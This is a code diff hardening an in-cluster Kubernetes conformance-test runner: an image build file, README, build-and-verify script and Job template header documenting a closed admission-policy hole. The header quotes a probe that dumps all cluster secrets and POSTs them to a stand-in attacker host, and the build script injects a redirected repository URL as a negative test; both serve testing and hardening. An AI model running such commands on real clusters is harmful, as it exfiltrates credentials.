+ARG RUNNER_UID=65532
+ARG RUNNER_GID=65532
+
+LABEL org.opencontainers.image.title="conformance-runner" \
+      org.opencontainers.image.description="bash + python3 + chainsaw + kubectl + git for the in-cluster L2/L3 conformance Job (conformance/run.sh)" \
+      org.opencontainers.image.source="https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl" \
+      org.opencontainers.image.documentation="conformance/incluster/README.md" \
+      homelab.keithjackson.dev/requirements="R-TEST-02,R-SEC-02"
+
+# bash: run.sh + every check.sh.  python3: the stdlib report generators.
+# git-core: the init-container clone (git-core, not git — drops the perl/svn tail).
+# coreutils/findutils/grep/sed/gawk: find, sort, base64, xargs, sed -nE, awk in lib/*.sh.
+# tar+gzip: the base64-tar results channel.  diffutils: `diff` in the L1 golden compare.
+# ca-certificates: TLS for the init clone and for kubectl's in-cluster API calls.
+RUN set -eux; \
+    microdnf -y install --setopt=install_weak_deps=0 --nodocs \
+      bash python3 git-core coreutils findutils grep sed gawk tar gzip diffutils \
+      ca-certificates; \
+    microdnf clean all; \
+    rm -rf /var/cache/* /var/log/dnf*
+
+COPY --from=builder /out/kubectl /out/chainsaw /usr/local/bin/
+
+# The init container's ONLY entrypoint. Copied as a file with a fixed path and NO argument
+# surface, because the admission policy pins the main container's `command` but never reads
+# `initContainers` — so an init container with `command: ["/bin/sh","-c"]` and an arbitrary
+# script is currently ADMITTED and runs as the privileged `conformance-runner` SA (reproduced
+# by the policy's author; pass 3, fail 0). A 4th policy rule requiring
+# `command: ["/usr/local/bin/conformance-clone"]` with no `args` is what makes this file
+# REQUIRED rather than merely available; that rule belongs in its own reviewed PR against the
+# boundary, not here. See the script's header for the env-injection half of the same hole.
+#
+# 0755 root:root: the container runs as 65532 and MUST NOT be able to replace the one
+# executable the policy will trust. Ownership is asserted below rather than assumed.
+COPY conformance-clone /usr/local/bin/conformance-clone
+RUN set -eux; \
+    chown root:root /usr/local/bin/conformance-clone; \
+    chmod 0755 /usr/local/bin/conformance-clone; \
+    bash -n /usr/local/bin/conformance-clone; \
+    /usr/local/bin/conformance-clone --anything 2>&1 | grep -q 'takes no arguments'; \
+    test "$(stat -c '%U:%G %a' /usr/local/bin/conformance-clone)" = 'root:root 755'
+
+# The nonroot account is written directly rather than pulling in shadow-utils to run useradd
+# once. HOME is /workspace because at runtime that emptyDir is the only writable path.
+RUN set -eux; \
+    echo "runner:x:${RUNNER_UID}:${RUNNER_GID}:conformance runner:/workspace:/bin/bash" >> /etc/passwd; \
+    echo "runner:x:${RUNNER_GID}:" >> /etc/group; \
+    install -d -m 0775 -o "${RUNNER_UID}" -g "${RUNNER_GID}" /workspace
+
+# SYSTEM-level config, because HOME is an emptyDir that starts empty on every run and the
+# root filesystem is read-only — a runtime `--global` write would fail.
+# safe.directory=*: the init-container clones into the shared emptyDir and the main container
+# then runs `rev-parse` over it; any uid mismatch between the two would otherwise abort with
+# "detected dubious ownership". The repo is fetched fresh per run into an emptyDir, so there
+# is no pre-existing hostile checkout this relaxes a check against.
+RUN set -eux; \
+    printf '%s\n' \
+      '[safe]' \
+      '	directory = *' \
+      '[advice]' \
+      '	detachedHead = false' \
+      > /etc/gitconfig; \
+    chmod 0644 /etc/gitconfig
+
+# Provenance: what is actually in this layer, readable from a running pod.
+RUN set -eux; \
+    { echo "fedora=${FEDORA_VERSION}"; \
+      echo "chainsaw=${CHAINSAW_VERSION}"; \
+      echo "kubectl=${KUBECTL_VERSION}"; \
+      echo "bash=$(bash --version | head -1)"; \
+      echo "python3=$(python3 --version)"; \
+      echo "git=$(git --version)"; \
+      echo "conformance-clone=$(sha256sum /usr/local/bin/conformance-clone | cut -d' ' -f1)"; \
+    } > /etc/conformance-runner-versions; \
+    chmod 0444 /etc/conformance-runner-versions
+
+# Every writable path points into the `workspace` emptyDir — the root filesystem is
+# read-only and the admission policy forbids adding a third volume for scratch.
+ENV HOME=/workspace \
+    XDG_CACHE_HOME=/workspace/.cache \
+    XDG_CONFIG_HOME=/workspace/.config \
+    TMPDIR=/workspace/.tmp \
+    PYTHONDONTWRITEBYTECODE=1 \
+    CONF_ROOT=/workspace/conformance
+
+USER ${RUNNER_UID}:${RUNNER_GID}
+WORKDIR /workspace
+
+# No ENTRYPOINT on purpose. The admission policy pins `command: ["./run.sh"]` with
+# `workingDir: /workspace/conformance`; an ENTRYPOINT here would either be ignored or
+# prepend something the policy cannot see. `bash` is the interactive fallback for a human
+# debugging the image locally.
+CMD ["/bin/bash"]

conformance/incluster/README.md

@@ -25,20 +25,86 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02).
   commented with the test/requirement that needs it — only as the matching fault-injection
   test lands. This is a **privileged test identity**: never reused by workloads, its own
   audit item.
-- `chainsaw-job.yaml` — the Job skeleton. Single entrypoint `./run.sh`; CI sets `args` to
-  `--requirements <touched IDs>` (merge gate) or `--layer all --strict-coverage` (phase
-  exit). Image pinned to `versions.env` `CHAINSAW_IMAGE`.
+- `chainsaw-job.yaml` — the **run template** (not reconciled; the trigger renders it per
+  run). Single entrypoint `./run.sh`; a clone init container delivers the suite at the
+  commit under test; artifacts leave over stdout. Its header is the authority on the
+  substitution tokens and the admission constraints it satisfies, and records the
+  `initContainers` hole that was found and closed alongside it — read it before editing
+  either file.
+- `Containerfile` — the **`conformance-runner`** image: `bash` + `python3` + `chainsaw` +
+  `kubectl` + `git`, non-root (numeric uid 65532) and working under a read-only root
+  filesystem. This is what the Job actually needs; the stock chainsaw image carries none of
+  it. Versions are `--build-arg`-injected from `infra/devcontainer/versions.env` — the single
+  source of truth — so the chainsaw/kubectl in the runner are the same pins the toolbox gate
+  uses. Read its header before changing the Job's `args`: `run.sh` runs the selected offline
+  L0/L1 checks for any non-offline-only selection, and those need flux/promtool/kyverno/
+  kustomize, which this image deliberately omits. Use `--layer l2` / `--layer l3`.
+- `conformance-clone` — the init container's **only** entrypoint, baked into the image at
+  `/usr/local/bin/conformance-clone` (0755 **root:root**, so uid 65532 cannot replace it).
+  It is a file in the image rather than an inline script in the Job precisely so admission
+  can pin it: a policy cannot tell the committed script from an attacker's when both are
+  just `args` on `/bin/bash -c`. Clones the impl repo at the commit under test: the SHA must
+  match `^[0-9a-f]{40}$` and `rev-parse HEAD` is **asserted** equal to it afterwards, so an
+  unrendered placeholder is a hard failure rather than a silent run of the branch tip. It
+  takes **no arguments**, and the repository URL and clone target are **compiled in** —
+  `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` are hard-failed on a mismatch rather than
+  honoured, because a URL taken from env would let the trigger choose which repository's
+  code runs as `conformance-runner`. This branch's Job depends on that interface:
+  `CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`, a clone target of `/workspace/src`
+  (hence `workingDir: /workspace/src/conformance`), and `TMPDIR`/`HOME` under `/workspace`.
+  > **The other half landed with this branch.** When `conformance-clone` arrived, the
+  > admission policy pinned the main container's `command` but **never read
+  > `initContainers`** — an init container with `command: ["/bin/sh","-c"]` and an arbitrary
+  > script was ADMITTED and ran as the privileged `conformance-runner` SA, so this file was
+  > merely *available* rather than *required*. The rule that closes it is
+  > `trigger-initcontainers-must-be-the-committed-clone-step`: at most one init container,
+  > digest-pinned to the conformance-runner image, `command` exactly
+  > `/usr/local/bin/conformance-clone`, and **no `args` at all**. `ephemeralContainers` and
+  > `env`/`envFrom` were the same shape of hole and are closed in the same policy.
+- `build-image.sh` — builds the above, **verifies the toolchain by running it** inside the
+  image as uid 65532 with `--read-only`, and prints the digest. It **never pushes**: it
+  prints the exact `podman push --digestfile …` command for the operator instead. See
+  `conformance/versions.env` `CONFORMANCE_RUNNER_IMAGE` for the post-push pin.
+  `--verify-clone` additionally has `conformance-clone` really clone this repo at a real SHA
+  and asserts the checkout matches (opt-in, because it needs the Gitea host reachable — the
+  default verify stays offline so an air-gapped build is fully checked, not half-checked).
 
 ## Flow
-1. CI (Gitea Actions, delivered in T-6.1b) creates a Job from `chainsaw-job.yaml` (via a
-   trigger with narrow rights: create Job + read its logs/status — *not* a broad
-   kubeconfig).
-2. The Job clones/loads the impl repo at the commit under test into `/workspace` and runs
-   `./run.sh` under `conformance-runner`.
-3. `run.sh` runs Chainsaw over the selected tests and writes `report.junit.xml` +
-   `coverage/` to the results volume (`/workspace/conformance/_artifacts`).
-4. CI collects those artifacts (results volume or the terminating log stream, which echoes
-   their paths) and enforces the merge / phase-exit gate on them.
+1. CI (Gitea Actions) renders `chainsaw-job.yaml` — two `@@TOKEN@@` substitutions, the
+   runner image digest and the commit SHA — replaces `args` with the invocation shape, and
+   `create`s the Job under the narrow `conformance-trigger` identity (create/get jobs, get
+   pods + pods/log — *not* a broad kubeconfig, and deliberately **no `pods/exec`**).
+2. Admission (`platform/kyverno/admission/conformance-trigger-job-shape.yaml`, Enforce +
+   fail-closed) admits only the committed shape. That policy, not the RBAC, is the boundary.
+3. The **init container** runs `/usr/local/bin/conformance-clone` with **no args**: it
+   shallow-clones the repo into `/workspace/src`, fetches the commit if the shallow tip does
+   not already contain it, detaches onto it, and **asserts `HEAD` equals the requested SHA** —
+   the suite runs at the commit under test or not at all. The read-only Gitea credential
+   reaches `git` as env vars from `secretKeyRef` (secret `conformance-git-readonly`, keys
+   `username`/`token`), never as a volume: admission allows no volume but `workspace` and
+   `results`.
+4. The runner executes `./run.sh` under `conformance-runner`, writing `report.junit.xml` +
+   `coverage/` to the `results` volume at `/results` (`CONF_ARTIFACTS`).
+5. On exit — green, red or aborted — `run.sh` prints a delimited base64 tar of that tree to
+   stdout, carrying `bytes`, `lines` and `sha256` in **both** the BEGIN and END markers. CI
+   decodes it from `kubectl logs` and must make all five completeness checks listed above
+   `conf_emit_artifacts_tgz()` in `../run.sh`; a partial log then fails collection instead
+   of decoding to plausible garbage.
+
+## Prerequisites before this Job can run at all
+- **Secret `conformance-git-readonly`** in namespace `conformance`, keys `username` and
+  `token`: a **read-only** Gitea token for this repository. Never a write token or a
+  push-capable deploy key. **Does not exist** — operator, out of GitOps (plan §3 item 6).
+- **The `conformance-runner` image** (plan §5 step 1) — built in **PR #18**, which must merge
+  before this template is usable; its digest is what the trigger substitutes. Contract the
+  image MUST meet, because the Job and the admission policy both depend on it:
+  - bash, git, python3, chainsaw and kubectl on `PATH`;
+  - a **uid 65532** non-root user — the Job's `runAsUser`/`fsGroup` pin it, so a different
+    uid in the Containerfile means the Job will not start;
+  - `conformance-clone` installed at **`/usr/local/bin/conformance-clone`**,
+    mode 0755. The policy rule `trigger-initcontainers-must-be-the-committed-clone-step` pins
+    that exact path, so an image without it cannot run the clone step and no other path will
+    be admitted.
 
 ## Phase 0
 No cluster exists, so nothing here is applied yet. These manifests are reconciled by Flux

conformance/incluster/build-image.sh

@@ -0,0 +1,229 @@
+#!/usr/bin/env bash
+###############################################################################
+# conformance/incluster/build-image.sh — build the pinned `conformance-runner`
+# image and print its digest. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 item 1.
+#
+#   ./build-image.sh                 # build + verify + print the digest and push command
+#   ./build-image.sh --no-verify     # build only (skip the in-image tool proof)
+#   ./build-image.sh --verify-clone  # ALSO really clone this repo with conformance-clone.
+#                                    #   Opt-in because it needs the Gitea host reachable; the
+#                                    #   default verify is offline so an air-gapped build is
+#                                    #   still fully checked rather than half-checked.
+#   ENGINE=docker ./build-image.sh   # build with docker instead of podman
+#
+# THIS SCRIPT NEVER PUSHES. Publishing is an operator action: the registry credential is
+# not an agent's to hold, and the pushed digest is what a fail-closed admission policy
+# then trusts. So this builds locally, proves the toolchain works INSIDE the image as the
+# non-root uid the policy demands, and prints the exact `podman push` line for a human.
+#
+# VERSIONS ARE NOT DEFINED HERE. They are read from infra/devcontainer/versions.env, the
+# single source of truth (CHAINSAW_VERSION, KUBECTL_VERSION, FEDORA_VERSION) — the same
+# pins the toolbox gate runs with. Nothing in this file invents a version.
+#
+# THE DIGEST CAVEAT — read it before pasting a digest into anything.
+# The digest printed here is the LOCAL manifest digest. It is normally identical to the
+# registry digest (podman pushes the manifest it already has rather than recompressing),
+# but that is a property of the push, not a guarantee. So the push command below uses
+# `--digestfile`: the digest the registry actually returns is the authoritative one, and
+# that is the one that goes into conformance/versions.env.
+###############################################################################
+set -euo pipefail
+
+HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+REPO_ROOT="$(cd "${HERE}/../.." && pwd)"
+ENGINE="${ENGINE:-podman}"
+
+VERIFY=1
+VERIFY_CLONE=0
+for arg in "$@"; do
+  case "$arg" in
+    --no-verify) VERIFY=0 ;;
+    --verify-clone) VERIFY_CLONE=1 ;;
+    -h|--help) sed -n '2,/^####/p' "${BASH_SOURCE[0]}" | sed '$d' | sed 's/^# \{0,1\}//'; exit 0 ;;
+    *) echo "unknown argument: $arg" >&2; exit 2 ;;
+  esac
+done
+
+log()  { printf '\n\033[1m==> %s\033[0m\n' "$*"; }
+info() { printf '    %s\n' "$*"; }
+die()  { printf '\033[31mERROR: %s\033[0m\n' "$*" >&2; exit 1; }
+
+command -v "${ENGINE}" >/dev/null 2>&1 || die "'${ENGINE}' not on PATH (set ENGINE=docker to use docker)"
+
+# --- pins: sourced, never invented -------------------------------------------
+TOOLCHAIN_ENV="${REPO_ROOT}/infra/devcontainer/versions.env"
+[ -f "${TOOLCHAIN_ENV}" ] || die "missing ${TOOLCHAIN_ENV} — the pins live there, not here"
+# shellcheck disable=SC1090
+source "${TOOLCHAIN_ENV}"
+: "${CHAINSAW_VERSION:?CHAINSAW_VERSION not set in ${TOOLCHAIN_ENV}}"
+: "${KUBECTL_VERSION:?KUBECTL_VERSION not set in ${TOOLCHAIN_ENV}}"
+: "${FEDORA_VERSION:?FEDORA_VERSION not set in ${TOOLCHAIN_ENV}}"
+
+# --- image name: fixed by the admission policy -------------------------------
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml admits ONLY
+# gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*. The repository path
+# is therefore not a preference; a different path is a DENIED Job. Do not "improve" it here.
+IMAGE_REPO="gitea.home.keithjackson.dev/home-network/conformance-runner"
+# The tag is build convenience only (a human-readable handle for the push). Admission
+# ignores it: only the digest is ever referenced from a Job.
+IMAGE_TAG="chainsaw${CHAINSAW_VERSION}-kubectl${KUBECTL_VERSION}-fc${FEDORA_VERSION}"
+IMAGE_REF="${IMAGE_REPO}:${IMAGE_TAG}"
+
+log "Building ${IMAGE_REF}"
+info "engine            ${ENGINE} ($(${ENGINE} --version 2>/dev/null | head -1))"
+info "pins from         ${TOOLCHAIN_ENV}"
+info "  CHAINSAW        ${CHAINSAW_VERSION}"
+info "  KUBECTL         ${KUBECTL_VERSION}"
+info "  FEDORA          ${FEDORA_VERSION}"
+
+"${ENGINE}" build \
+  --file "${HERE}/Containerfile" \
+  --tag "${IMAGE_REF}" \
+  --build-arg "CHAINSAW_VERSION=${CHAINSAW_VERSION}" \
+  --build-arg "KUBECTL_VERSION=${KUBECTL_VERSION}" \
+  --build-arg "FEDORA_VERSION=${FEDORA_VERSION}" \
+  "${HERE}"
+
+# --- verify: the point of the whole exercise ---------------------------------
+# The stock chainsaw image "had" chainsaw and still could not run ./run.sh. So prove the
+# tools EXECUTE, and prove they execute as the NON-ROOT uid with a READ-ONLY root
+# filesystem — the shape the admission policy forces. A pass here is the only evidence
+# this image is usable; a build that merely succeeded is not.
+if [ "${VERIFY}" -eq 1 ]; then
+  log "Verifying the toolchain inside the image (non-root, read-only rootfs)"
+  "${ENGINE}" run --rm \
+    --user 65532:65532 \
+    --read-only \
+    --tmpfs /workspace:rw,mode=1777 \
+    --entrypoint "" \
+    "${IMAGE_REF}" \
+    /bin/bash -euo pipefail -c '
+      echo "--- id ---";             id
+      echo "--- HOME ---";           echo "HOME=${HOME}"
+      echo "--- bash ---";           bash --version | head -1
+      echo "--- python3 ---";        python3 --version
+      echo "--- git ---";            git --version
+      echo "--- kubectl ---";        kubectl version --client
+      echo "--- chainsaw ---";       chainsaw version
+      echo "--- baked versions ---"; cat /etc/conformance-runner-versions
+      echo "--- conformance-clone: fixed path, root-owned, NOT writable by the runner ---"
+      stat -c "%n %U:%G %a" /usr/local/bin/conformance-clone
+      if [ -w /usr/local/bin/conformance-clone ]; then
+        echo "UNEXPECTED: uid $(id -u) can write the one executable the policy will trust"; exit 1
+      fi
+      echo "confirmed: not writable by uid $(id -u)"
+      # Each of these MUST fail. Assert the non-zero exit as well as the message: a check
+      # that only greps stderr would pass a build where the guard had stopped rejecting.
+      # (`|| true` inside the capture keeps `set -e`/`pipefail` from aborting on the
+      # expected failure — without it the verify dies at the first negative case.)
+      expect_fail() {
+        local label="$1"; shift
+        local out rc=0
+        out="$(env "$@" 2>&1)" || rc=$?
+        echo "--- ${label} ---"
+        printf "%s\n" "${out}" | head -2
+        if [ "${rc}" -eq 0 ]; then
+          echo "UNEXPECTED: that should have failed, but it exited 0"; exit 1
+        fi
+        echo "(rejected, exit ${rc})"
+      }
+      expect_fail "conformance-clone rejects arguments (that is where an injection would live)" \
+        conformance-clone --layer l2
+      expect_fail "conformance-clone rejects a missing SHA" \
+        conformance-clone
+      expect_fail "conformance-clone rejects a branch name instead of a SHA (no silent run of the tip)" \
+        CONFORMANCE_GIT_SHA=main conformance-clone
+      expect_fail "conformance-clone rejects an UNRENDERED placeholder" \
+        CONFORMANCE_GIT_SHA=@@CONFORMANCE_GIT_SHA@@ conformance-clone
+      expect_fail "conformance-clone rejects a HOME off the workspace volume" \
+        CONFORMANCE_GIT_SHA=0000000000000000000000000000000000000000 \
+        HOME=/etc conformance-clone
+      expect_fail "conformance-clone refuses a REDIRECTED repository URL (the env-injection hole)" \
+        CONFORMANCE_GIT_SHA=0000000000000000000000000000000000000000 \
+        CONFORMANCE_REPO_URL=https://evil.invalid/x.git conformance-clone
+      expect_fail "conformance-clone refuses a clone target off the workspace volume" \
+        CONFORMANCE_GIT_SHA=0000000000000000000000000000000000000000 \
+        CONFORMANCE_SRC=/etc/src conformance-clone
+      echo "--- rootfs is read-only (expected: a failure) ---"
+      if touch /should-fail 2>/dev/null; then echo "UNEXPECTED: rootfs is writable"; exit 1; fi
+      echo "confirmed: / is read-only"
+      echo "--- HOME is writable (the workspace emptyDir) ---"
+      touch "${HOME}/.probe" && echo "confirmed: ${HOME} is writable"
+      echo "--- uid is non-zero ---"
+      [ "$(id -u)" -ne 0 ] && echo "confirmed: running as uid $(id -u), not root"
+    '
+  log "Toolchain verified"
+fi
+
+# --- verify the clone helper against the REAL repository (opt-in: needs network) ----
+# The negative cases above prove conformance-clone refuses bad input. This proves the
+# positive case: it lands the EXACT commit asked for and can prove it did. Without this, the
+# rev-parse assertion is only an unexercised line of shell.
+if [ "${VERIFY_CLONE}" -eq 1 ]; then
+  log "Verifying conformance-clone against the real repository"
+  SHA="$(git -C "${REPO_ROOT}" rev-parse HEAD)"
+  info "requesting commit ${SHA}"
+  "${ENGINE}" run --rm \
+    --user 65532:65532 \
+    --read-only \
+    --tmpfs /workspace:rw,mode=1777 \
+    --network host \
+    --entrypoint "" \
+    -e "CONFORMANCE_GIT_SHA=${SHA}" \
+    "${IMAGE_REF}" \
+    /bin/bash -euo pipefail -c '
+      conformance-clone
+      echo "--- assert rev-parse HEAD == the requested SHA ---"
+      got="$(git -C /workspace/src rev-parse HEAD)"
+      echo "requested: ${CONFORMANCE_GIT_SHA}"
+      echo "HEAD:      ${got}"
+      [ "${got}" = "${CONFORMANCE_GIT_SHA}" ] || { echo "MISMATCH"; exit 1; }
+      echo "confirmed: the working tree is at the requested commit"
+      test -x /workspace/src/conformance/run.sh && echo "confirmed: run.sh present and executable"
+    '
+  log "conformance-clone verified against the real repository"
+fi
+
+# --- digest ------------------------------------------------------------------
+DIGEST="$("${ENGINE}" image inspect --format '{{.Digest}}' "${IMAGE_REF}")"
+IMAGE_ID="$("${ENGINE}" image inspect --format '{{.Id}}' "${IMAGE_REF}")"
+SIZE="$("${ENGINE}" image inspect --format '{{.Size}}' "${IMAGE_REF}")"
+
+log "Built ${IMAGE_REF}"
+info "local manifest digest  ${DIGEST}"
+info "image id               ${IMAGE_ID}"
+info "size                   $(( SIZE / 1024 / 1024 )) MiB"
+
+cat <<EOF
+
+================================================================================
+NOT PUSHED. Publishing is an operator action — this script holds no registry
+credential and will never acquire one.
+
+OPERATOR: run these two commands, then paste the digest from the digestfile into
+conformance/versions.env (CONFORMANCE_RUNNER_IMAGE) via a PR:
+
+    ${ENGINE} login gitea.home.keithjackson.dev
+
+    ${ENGINE} push --digestfile /tmp/conformance-runner.digest \\
+      ${IMAGE_REF}
+
+Then:
+
+    cat /tmp/conformance-runner.digest
+    # -> sha256:....  THIS is the authoritative digest, not the local one above.
+
+    # conformance/versions.env
+    CONFORMANCE_RUNNER_IMAGE="${IMAGE_REPO}@\$(cat /tmp/conformance-runner.digest)"
+
+WHY THE DIGEST AND NOT THE TAG: platform/kyverno/admission/conformance-trigger-job-shape.yaml
+is a fail-closed Enforce policy. It DENIES any conformance-trigger Job whose image is not
+${IMAGE_REPO}@sha256:<digest>. A tag reference is denied,
+and so is any other repository path.
+
+TIGHTEN THE BOUNDARY AFTERWARDS: that policy's header asks for the wildcard
+\`${IMAGE_REPO}@sha256:*\` to be replaced with the
+LITERAL digest once the image exists, closing the "anyone who can push to this path" gap.
+That is a separate, human-reviewed PR against the security boundary.
+================================================================================
+EOF

conformance/incluster/chainsaw-job.yaml

@@ -1,23 +1,175 @@
 # =============================================================================
-# In-cluster Chainsaw conformance Job — SKELETON (ADR-0011; docs/14)
+# In-cluster Chainsaw conformance Job — the RUN TEMPLATE (ADR-0011; docs/14)
+# Serves docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
 #
-# CI (Gitea Actions, T-6.1b) TRIGGERS this Job and waits for it; CI holds NO
-# cluster credentials. The Job runs L1/L2/L3 under the scoped `conformance-runner`
-# ServiceAccount (rbac.yaml), writes JUnit + coverage to a results location that
-# CI collects, and enforces the merge / phase-exit gate on the outcome.
+# NOT RECONCILED BY FLUX. `kustomization.yaml` deliberately omits this file: it is a
+# TEMPLATE the CI trigger renders and submits once per run. Flux reconciling it would
+# create a permanent Job object and fight the trigger for ownership.
 #
-# Two invocation shapes (CI sets args):
-#   * MERGE GATE:  ./run.sh --requirements <touched R-IDs>   (subset)
-#   * PHASE EXIT:  ./run.sh --layer all                      (full suite)
+# CI (Gitea Actions) creates this Job and waits for it. CI holds NO broad kubeconfig —
+# only the narrow `conformance-trigger` identity (create/get jobs, get pods + pods/log).
+# In particular it has NO `pods/exec` and cannot `kubectl cp`, which is why results leave
+# the Job over STDOUT (see "RESULTS TRANSPORT" below) and not over an exec channel.
 #
-# Results artifact mechanism (delegated to WS-TEST by docs/14 open items):
-#   Chosen = a shared results emptyDir + a terminating log stream, with an
-#   OPTIONAL results PVC for durability across CI collection. For Phase 0 there is
-#   no cluster; this manifest is reconciled by Flux from Phase 1+ and exercised
-#   once L2/L3 can run. CI collects `report.junit.xml` + `coverage/` from the
-#   results volume (or scrapes the pod log, which echoes their paths).
+# -----------------------------------------------------------------------------
+# THE ADMISSION BOUNDARY THIS MANIFEST MUST SATISFY
+# -----------------------------------------------------------------------------
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce +
+# failurePolicy: Fail, and it governs every Job `conformance-trigger` creates. It admits
+# ONLY: exactly one container on a digest-pinned conformance-runner image,
+# serviceAccountName conformance-runner, command ["./run.sh"], args drawn from
+# --layer/--requirements/--include-scope/--strict-coverage plus plain value tokens, no
+# host namespaces, non-root with privilege escalation off, and — the constraint that
+# shapes everything below — NO VOLUMES BUT `workspace` AND `results`.
 #
-# NOT applied in Phase 0 (no cluster). Image tag pinned to versions.env CHAINSAW_IMAGE.
+# So the git credential CANNOT be a projected/secret volume, and the init container
+# cannot have a scratch volume of its own. Both are solved inside the two allowed names:
+#   * the credential arrives as env vars via secretKeyRef (an env var is not a volume),
+#     BY SECRET NAME ONLY — no token literal ever appears in this file;
+#   * `$TMPDIR` and `$HOME` are pointed at directories on the `workspace` emptyDir, so
+#     readOnlyRootFilesystem stays true without a third volume and without subPath
+#     mounts (a kubelet-created subPath dir is root-owned 0755 and would not be writable
+#     by the non-root runner).
+#
+# Verify before changing anything here:
+#   kyverno apply platform/kyverno/admission/conformance-trigger-job-shape.yaml \
+#     --resource <rendered job> \
+#     --userinfo platform/kyverno/tests/conformance-trigger/user-info.yaml
+# and see platform/kyverno/tests/conformance-trigger/ — the `real-template` case in
+# resources.yaml is this shape, so `make -C ci l0` fails if it drifts out of admission.
+#
+# -----------------------------------------------------------------------------
+# THE initContainers HOLE — FOUND AND CLOSED IN THE SAME PR (2026-09-29)
+# -----------------------------------------------------------------------------
+# As originally written, the policy read only `spec.template.spec.containers` (rule 1's
+# pattern, rule 3's `containers[0].args`) and `volumes` (rule 2). `initContainers` was
+# never examined, so the exact escalation the policy exists to stop was reachable one
+# field over. MEASURED with the pinned CLI (kyverno v1.19.0), `containers[0]` left fully
+# compliant:
+#
+#   * this template with ONLY the init container's args replaced by
+#     `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
+#   * and (the coordinator's independent reproduction) a `privileged: true`
+#     `docker.io/library/alpine:latest` init container running `kubectl get secrets -A`
+#
+#   ->  pass: 3, fail: 0, warn: 0, error: 0, skip: 0        # BOTH ADMITTED
+#
+# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
+#
+# Closed by new rules in that policy, authorised by the coordinator in this PR
+# (the original brief forbade policy edits; that was to stop the boundary being BENT to
+# fit a Job, not to stop a hole being closed):
+#   * `trigger-initcontainers-must-be-the-committed-clone-step` — at most one init
+#     container, on the digest-pinned runner image, `command:
+#     ["/usr/local/bin/conformance-clone"]`, NO args, non-root, no privilege escalation,
+#     not privileged. The clone logic moved OUT of this manifest and into the image for
+#     exactly this reason: a policy cannot vet a shell script passed as `args`, so the
+#     script had to stop being caller-supplied data. It stays reviewable as
+#     conformance/incluster/conformance-clone.
+#   * `trigger-may-not-declare-ephemeral-containers` — `ephemeralContainers` was the same
+#     unread field. Upstream k8s is BELIEVED to reject it in a pod template; that was not
+#     verified here, and the rule costs nothing if it is true.
+#   * `trigger-env-names-must-be-the-committed-set` and `trigger-may-not-use-envfrom` — `env`
+#     was the same mistake a THIRD time. `command` is pinned, so injection moves to a variable
+#     the pinned command honours, and `BASH_ENV` alone is arbitrary code execution: bash
+#     sources it before running a non-interactive script. Names are allowlisted per container;
+#     VALUES and the `valueFrom` source Secret deliberately are not (values are legitimately
+#     environment-specific, and conformance-runner can already read this namespace's Secrets
+#     through its own RBAC, so pinning the source would buy nothing).
+#
+# Every probe is now a negative fixture in platform/kyverno/tests/conformance-trigger/ —
+# `evil-initcontainer`, `initcontainer-with-args`, `second-initcontainer`,
+# `evil-ephemeral-container`, `injected-env`, `injected-initcontainer-env`,
+# `envfrom-whole-secret` — so they stay failing.
+#
+# THE GENERALISABLE LESSON, since this was the same bug three times: an "admit only the
+# committed shape" policy is only as good as its enumeration of every field that can carry
+# executable intent. `containers` was enumerated; `initContainers`, `ephemeralContainers` and
+# `env` were not. Before adding a field to this Job, ask which rule reads it — and if none
+# does, that is the finding, not an oversight to work around.
+#
+# The clone URL is hardcoded in the image entrypoint (and `CONFORMANCE_REPO_URL` is hard-failed
+# on a mismatch rather than honoured) for exactly this reason. Do not move it into env.
+#
+# Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is
+# supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter.
+#
+# -----------------------------------------------------------------------------
+# WHAT THE TRIGGER SUBSTITUTES — `@@NAME@@` tokens, NOT `${NAME}`
+# -----------------------------------------------------------------------------
+# The placeholder syntax is deliberately NOT shell syntax. `${NAME}` would be substituted by
+# `envsubst`, which has no way to tell a token meant for rendering from a shell reference
+# that belongs to a script — a trap this file walked into while the clone logic was still an
+# inline bash script here. `@@NAME@@` cannot collide with anything, and a surviving `@@` in a
+# rendered manifest is trivially greppable as "the trigger forgot to render this". Render
+# with a two-token sed, nothing cleverer:
+#
+#   sed -e "s|@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@|${digest}|" \
+#       -e "s|@@CONFORMANCE_GIT_SHA@@|${sha}|" conformance/incluster/chainsaw-job.yaml
+#
+#   @@CONFORMANCE_RUNNER_IMAGE_DIGEST@@  the 64-hex digest of the pinned runner image.
+#         Only the DIGEST is substituted — the registry path and the `@sha256:` pinning
+#         are committed literals, so the substitution cannot repoint the image at another
+#         repository, and the template still satisfies the policy's image pattern before
+#         rendering. An unsubstituted digest fails as ImagePullBackOff, loudly.
+#   @@CONFORMANCE_GIT_SHA@@             the 40-hex commit under test. The init container
+#         REFUSES to run unless it matches ^[0-9a-f]{40}$, so an unsubstituted placeholder
+#         or an injected value is a hard failure, never a run of the wrong tree.
+#
+# `args` is NOT a placeholder: it is a real list, and the trigger REPLACES it wholesale per
+# invocation shape. Keeping it a committed list (not a substituted scalar) is what lets this
+# file be handed to `kyverno apply` as-is.
+#
+# -----------------------------------------------------------------------------
+# WHICH ARGS ACTUALLY RUN ON THIS IMAGE — `--layer` IS MANDATORY AND MUST NAME ONLY l2/l3
+# -----------------------------------------------------------------------------
+# The runner image ships bash, git, python3, chainsaw and kubectl. It deliberately does NOT
+# ship flux, promtool, kyverno or kustomize, because L0/L1 are CI's job and run without a
+# cluster. But run.sh runs its OFFLINE L0/L1 stages first for any selection that is not
+# offline-only, and those stages need exactly those missing tools. Tracing run.sh:
+#
+#   requirement_scoped_dirs() is layer-bounded ONLY when --layer is given and != all;
+#   offline_selected_dirs() then filters the selection to /l0-static/|/l1-rendering/.
+#
+# so:
+#   ["--layer","l2,l3"]                                        -> offline selection EMPTY. RUNS.
